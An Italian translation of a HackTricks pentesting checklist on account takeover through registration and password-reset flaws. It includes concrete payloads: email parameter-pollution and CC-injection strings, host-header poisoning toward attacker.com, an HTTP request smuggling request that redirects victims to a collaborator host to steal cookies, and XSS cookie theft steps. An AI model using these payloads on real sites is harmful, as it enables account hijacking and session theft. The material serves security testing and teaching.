hacktricks/pentesting-web/registration-vulnerabilities.md

9.8 KiB

Vulnerabilità di Registrazione e Presa di Controllo

{% hint style="success" %} Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

Presa di Controllo della Registrazione

Registrazione Duplicata

  • Prova a generare utilizzando un nome utente esistente
  • Controlla variando l'email:
  • maiuscole
  • +1@
  • aggiungi qualche punto nell'email
  • caratteri speciali nel nome dell'email (%00, %09, %20)
  • Metti caratteri neri dopo l'email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumerazione degli Username

Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.

Politica delle Password

Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).
In tal caso potresti provare a bruteforza le credenziali.

SQL Injection

Controlla questa pagina per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite SQL Injections nei moduli di registrazione.

Oauth Takeovers

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilità SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Cambia Email

Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.

Ulteriori Controlli

  • Controlla se puoi usare email usa e getta
  • Password Lunghe (>200) portano a DoS
  • Controlla i limiti di velocità sulla creazione degli account
  • Usa username@burp_collab.net e analizza il callback

Presa di Controllo del Reset della Password

Leak del Token di Reset della Password Via Referrer

  1. Richiedi il reset della password al tuo indirizzo email
  2. Clicca sul link di reset della password
  3. Non cambiare la password
  4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
  5. Intercetta la richiesta nel proxy di Burp Suite
  6. Controlla se l'intestazione referer sta rivelando il token di reset della password.

Avvelenamento del Reset della Password

  1. Intercetta la richiesta di reset della password in Burp Suite
  2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Inoltra la richiesta con l'intestazione modificata
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Cerca un URL di reset della password basato sull'intestazione host come: https://attacker.com/reset-password.php?token=TOKEN

Reset della Password Via Parametro Email

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR su Parametri API

  1. L'attaccante deve accedere con il proprio account e andare alla funzione Cambia password.
  2. Avviare Burp Suite e intercettare la richiesta.
  3. Inviarla alla scheda ripetitore e modificare i parametri: ID utente/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token di Reset Password Debole

Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta.
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.

  • Timestamp
  • UserID
  • Email dell'utente
  • Nome e Cognome
  • Data di Nascita
  • Criptografia
  • Solo numeri
  • Sequenza di token piccola (caratteri tra [A-Z,a-z,0-9])
  • Riutilizzo del token
  • Data di scadenza del token

Token di Reset Password in Fuga

  1. Attiva una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
  2. Ispeziona la risposta del server e controlla per resetToken
  3. Quindi utilizza il token in un URL come https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Reset della Password Tramite Collisione di Nome Utente

  1. Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es: "admin "
  2. Richiedi un reset della password con il tuo nome utente malevolo.
  3. Usa il token inviato alla tua email e reimposta la password della vittima.
  4. Connettiti all'account della vittima con la nuova password.

La piattaforma CTFd era vulnerabile a questo attacco.
Vedi: CVE-2020-7245

Presa di Controllo dell'Account Tramite Cross Site Scripting

  1. Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: *.domain.com
  2. Fuga il cookie delle sessioni attuali.
  3. Autenticati come utente utilizzando il cookie.

Presa di Controllo dell'Account Tramite HTTP Request Smuggling

1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una richiesta che sovrascriverà il POST / HTTP/1.1 con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X: con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.
3. La richiesta finale potrebbe apparire come segue

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone riporta l'esploitazione di questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Presa di Controllo dell'Account tramite CSRF

  1. Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
  2. Invia il payload

Presa di Controllo dell'Account tramite JWT

Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.

  • Modifica il JWT con un altro ID Utente / Email
  • Controlla la firma JWT debole

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Riferimenti

{% hint style="success" %} Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}